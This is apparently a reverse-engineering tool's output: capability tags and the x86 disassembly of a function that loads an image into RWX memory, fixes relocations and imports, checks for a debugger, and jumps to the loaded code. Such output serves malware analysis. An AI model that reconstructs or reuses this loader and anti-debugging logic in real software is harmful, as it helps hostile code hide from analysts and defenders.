Function at 0x100021d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x40
push ebx
mov ebx, dword [esp + 0x48]
mov eax, dword [ebx]
push edi
push 4
push 0x3000
push 8
lea ecx, [ebx + 8]
push 0
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x1000221e
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push eax
push ebx
call edi
push 0x8000
push 0
push esi
call edi
pop edi
xor eax, eax
pop ebx
add esp, 0x40
ret
movzx edx, byte [0x1000f018]
xor dl, byte [0x1000f020]
push ebp
mov byte [edi], dl
movzx eax, byte [0x1000f021]
xor al, byte [0x1000f019]
mov byte [edi + 1], al
movzx ecx, byte [str.ri_aW]
xor cl, byte [0x1000f01a]
mov byte [edi + 2], cl
movzx edx, byte [0x1000f023]
xor dl, byte [0x1000f01b]
mov byte [edi + 3], dl
movzx eax, byte [0x1000f024]
xor al, byte [0x1000f01c]
mov byte [edi + 4], al
movzx ecx, byte [0x1000f025]
xor cl, byte [0x1000f01d]
mov byte [edi + 5], cl
movzx edx, byte [0x1000f026]
xor dl, byte [0x1000f01e]
mov byte [edi + 6], dl
mov byte [edi + 7], 0
call fcn.10003900
mov ebp, eax
test ebp, ebp
jne 0x100022c7
push 0x8000
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call edi
push 0x8000
push ebp
push ebx
call edi
push 0x8000
push ebp
push esi
call edi
pop ebp
pop edi
xor eax, eax
pop ebx
add esp, 0x40
ret
push edi
push ebp
call fcn.10003870
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
add esp, 8
push 0x8000
push 0
push edi
call ebx
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
add ecx, 7
and ecx, 0xfffffff8
push ecx
push edx
push ebp
call fcn.100038c0
add esp, 0xc
cmp eax, 1
push ebp
je 0x10002311
call fcn.10003800
mov eax, dword [esp + 0x54]
add esp, 4
jmp 0x1000283a
call fcn.10003800
mov ebp, dword [esp + 0x10]
mov ecx, dword [ebp]
mov edx, dword [ebp + 4]
add ebp, 4
add esp, 4
mov eax, edx
lea eax, [eax + eax*2]
push 4
add eax, eax
push 0x3000
add eax, eax
push eax
push 0
mov dword [esp + 0x20], ecx
mov dword [esi + 6], edx
add ebp, 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [esi + 0xa], eax
je 0x10002475
xor ecx, ecx
cmp dword [esi + 6], ecx
jbe 0x10002391
xor eax, eax
lea ecx, [ecx]
mov edi, dword [ebp]
mov edx, dword [esi + 0xa]
mov dword [eax + edx], edi
mov edi, dword [ebp + 4]
mov edx, dword [esi + 0xa]
add ebp, 4
mov dword [edx + eax + 4], edi
mov edi, dword [ebp + 4]
mov edx, dword [esi + 0xa]
add ebp, 4
mov dword [edx + eax + 8], edi
add ecx, 1
add ebp, 4
add eax, 0xc
cmp ecx, dword [esi + 6]
jb 0x10002360
mov eax, dword [ebp]
movzx ecx, ax
sub eax, ecx
add eax, 0x10000
mov edi, eax
push 0x40
push 0x3000
mov eax, 0x40000000
add ebp, 4
mov dword [esp + 0x14], edi
call fcn.10002030
add esp, 8
test eax, eax
jne 0x100023e3
push 0x40
push 0x3000
call fcn.10002030
add esp, 8
test eax, eax
jne 0x100023e3
push 0x40
push 0x3000
mov edx, edi
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [esi + 2], eax
je 0x10002468
call fcn.10002bd0
mov edi, eax
test edi, edi
je 0x1000245b
mov edx, dword [esp + 0x10]
push edx
push ebp
push edi
call fcn.10002c50
add esp, 0xc
test eax, eax
jne 0x1000243c
push edi
call fcn.10002c00
mov eax, dword [esi + 2]
add esp, 4
push 0x8000
push 0
push eax
call ebx
mov ecx, dword [esi + 0xa]
push 0x8000
push 0
push ecx
call ebx
mov edx, dword [esp + 0x50]
push 0x8000
push 0
push edx
jmp 0x10002842
mov eax, dword [esp + 0xc]
mov ecx, dword [esi + 2]
push eax
push ecx
push edi
call fcn.10002d20
add esp, 0xc
test eax, eax
push edi
jne 0x10002486
call fcn.10002c00
add esp, 4
mov edx, dword [esi + 2]
push 0x8000
push 0
push edx
call ebx
mov eax, dword [esi + 0xa]
push 0x8000
push 0
push eax
call ebx
mov ecx, dword [esp + 0x50]
push 0x8000
push 0
push ecx
jmp 0x10002842
call fcn.10002d60
add esp, 4
test eax, eax
push edi
je 0x10002453
call fcn.10002c00
mov eax, dword [esi + 6]
mov edx, dword [esp + 0x14]
add esp, 4
push 4
add eax, eax
push 0x3000
add eax, eax
add edx, 7
push eax
and edx, 0xfffffff8
push 0
add ebp, edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [esp + 0xc], eax
jne 0x100024e8
mov ecx, dword [esi + 2]
push 0x8000
push eax
push ecx
call ebx
mov edx, dword [esi + 0xa]
push 0x8000
push 0
push edx
call ebx
mov eax, dword [esp + 0x50]
jmp 0x1000283a
xor eax, eax
cmp dword [esi + 6], eax
jbe 0x10002505
nop
mov ecx, dword [ebp]
mov edx, dword [esp + 0xc]
mov dword [edx + eax*4], ecx
add eax, 1
add ebp, 4
cmp eax, dword [esi + 6]
jb 0x100024f0
mov eax, dword [esp + 0x50]
push 0x8000
push 0
push eax
call ebx
cmp dword [esi + 6], 0
mov edx, dword [esi + 2]
mov dword [esp + 0x50], 0
jbe 0x10002585
mov ebp, dword [esi + 0xa]
xor ecx, ecx
lea esp, [esp]
mov eax, dword [ecx + ebp + 4]
cmp eax, 2
je 0x1000253e
cmp eax, 0x20
jne 0x10002569
xor eax, eax
xor edi, edi
cmp dword [ecx + ebp], eax
jbe 0x10002560
mov ebp, dword [esi + 0xa]
mov ebp, dword [ecx + ebp]
mov dword [esp + 0x10], ebp
movzx ebp, byte [edx + eax]
add eax, 1
add edi, ebp
cmp eax, dword [esp + 0x10]
jb 0x10002551
mov ebp, dword [esi + 0xa]
cmp dword [ecx + ebp + 8], edi
jne 0x10002581
mov eax, dword [esp + 0x50]
add edx, dword [ecx + ebp]
add eax, 1
add ecx, 0xc
cmp eax, dword [esi + 6]
mov dword [esp + 0x50], eax
jb 0x10002530
jmp 0x10002585
or word [esi], 2
lea edx, [esp + 0x2c]
mov eax, esi
call fcn.10002140
test eax, eax
je 0x1000281c
mov edx, dword [esp + 0x34]
test edx, edx
je 0x1000281c
mov edi, dword [esp + 0x30]
test edi, edi
je 0x1000281c
cmp dword [edx + 4], 8
lea eax, [edx + 4]
jbe 0x10002618
mov dword [esp + 0x50], eax
lea ecx, [ecx]
mov ecx, dword [esp + 0x50]
mov ebp, dword [ecx]
sub ebp, 8
shr ebp, 1
mov ebx, 0
je 0x10002605
movzx eax, word [edx + ebx*2 + 8]
mov ecx, eax
and ecx, 0xf000
cmp cx, 0x3000
je 0x100025ed
cmp cx, 0xa000
jne 0x100025fe
mov ecx, dword [esi + 2]
and eax, 0xfff
add eax, dword [edx]
add eax, ecx
sub ecx, dword [edi + 0x34]
add dword [eax], ecx
add ebx, 1
cmp ebx, ebp
jb 0x100025d2
mov eax, dword [esp + 0x50]
add edx, dword [eax]
cmp dword [edx + 4], 8
lea eax, [edx + 4]
mov dword [esp + 0x50], eax
ja 0x100025c0
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x10002688
cmp dword [eax + 0x10], 0
lea ebx, [eax + 0x10]
je 0x10002688
lea esp, [esp]
mov eax, dword [ebx - 4]
add eax, dword [esi + 2]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [ebx]
mov ebp, dword [ebx - 0x10]
mov dword [esp + 0x50], eax
mov eax, dword [esi + 2]
add edi, eax
add ebp, eax
cmp dword [edi], 0
je 0x10002680
mov eax, dword [ebp]
test eax, eax
jns 0x10002660
and eax, 0xffff
jmp 0x10002667
mov ecx, dword [esi + 2]
lea eax, [ecx + eax + 2]
mov edx, dword [esp + 0x50]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [edi], eax
add edi, 4
add ebp, 4
cmp dword [edi], 0
jne 0x10002652
add ebx, 0x14
cmp dword [ebx], 0
jne 0x10002630
push str.NTDLL.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x100026d2
push str.NtQueryInformationProcess
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x100026d2
lea eax, [esp + 0x50]
push eax
push 0x18
lea ecx, [esp + 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
test eax, eax
jl 0x100026d2
mov edx, dword [esp + 0x18]
cmp byte [edx + 2], 0
je 0x100026d2
or word [esi], 0x10
cmp dword [esi + 6], 0
mov ebp, dword [esi + 2]
mov dword [esp + 0x50], 0
jbe 0x10002788
xor edi, edi
lea esp, [esp]
mov eax, dword [esi + 0xa]
mov ebx, dword [eax + edi + 4]
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
jns 0x10002719
mov ecx, ebx
and ecx, 0xf
cmp ecx, ebx
je 0x10002719
test bl, 0x30
mov ebx, 4
je 0x10002719
mov ebx, 2
mov edx, dword [esi + 0xa]
mov eax, dword [edx + edi]
push ebx
push 0x1000
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esi + 0xa]
lea eax, [ecx + edi]
mov ecx, dword [eax + 4]
cmp ecx, 2
je 0x10002740
cmp ecx, 0x20
jne 0x1000276b
mov dword [eax + 8], 0
mov edx, dword [esi + 0xa]
xor eax, eax
cmp dword [edi + edx], eax
jbe 0x1000276b
mov ecx, dword [esi + 0xa]
movzx edx, byte [eax + ebp]
add dword [ecx + edi + 8], edx
lea ecx, [ecx + edi + 8]
mov ecx, dword [esi + 0xa]
add eax, 1
cmp eax, dword [edi + ecx]
jb 0x10002751
mov eax, dword [esp + 0x50]
mov edx, dword [esi + 0xa]
add ebp, dword [edx + edi]
add eax, 1
add edi, 0xc
cmp eax, dword [esi + 6]
mov dword [esp + 0x50], eax
jb 0x100026f0
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 0x28]
test ecx, ecx
je 0x100027e3
mov eax, dword [esi + 2]
push 0
push 1
add ecx, eax
push eax
call ecx
test eax, eax
jne 0x100027e3
mov ecx, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push eax
push ecx
call edi
mov edx, dword [esi + 2]
push 0x8000
push 0
push edx
call edi
mov eax, dword [esi + 0xa]
push 0x8000
push 0
push eax
call edi
push 0x8000
push 0
push esi
call edi
pop ebp
pop edi
xor eax, eax
pop ebx
add esp, 0x40
ret
mov edx, dword [esp + 0xc]
xor eax, eax
cmp dword [esi + 6], eax
jbe 0x10002805
xor ecx, ecx
mov ebx, dword [edx + eax*4]
mov edi, dword [esi + 0xa]
mov dword [ecx + edi + 4], ebx
add eax, 1
add ecx, 0xc
cmp eax, dword [esi + 6]
jb 0x100027f0
push 0x8000
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop ebp
pop edi
mov eax, esi
pop ebx
add esp, 0x40
ret
mov ecx, dword [esp + 0xc]
push 0x8000
push 0
push ecx
call ebx
mov edx, dword [esi + 2]
push 0x8000
push 0
push edx
call ebx
mov eax, dword [esi + 0xa]
push 0x8000
push 0
push eax
call ebx
push 0x8000
push 0
push esi
call ebx
pop ebp
pop edi
xor eax, eax
pop ebx
add esp, 0x40
ret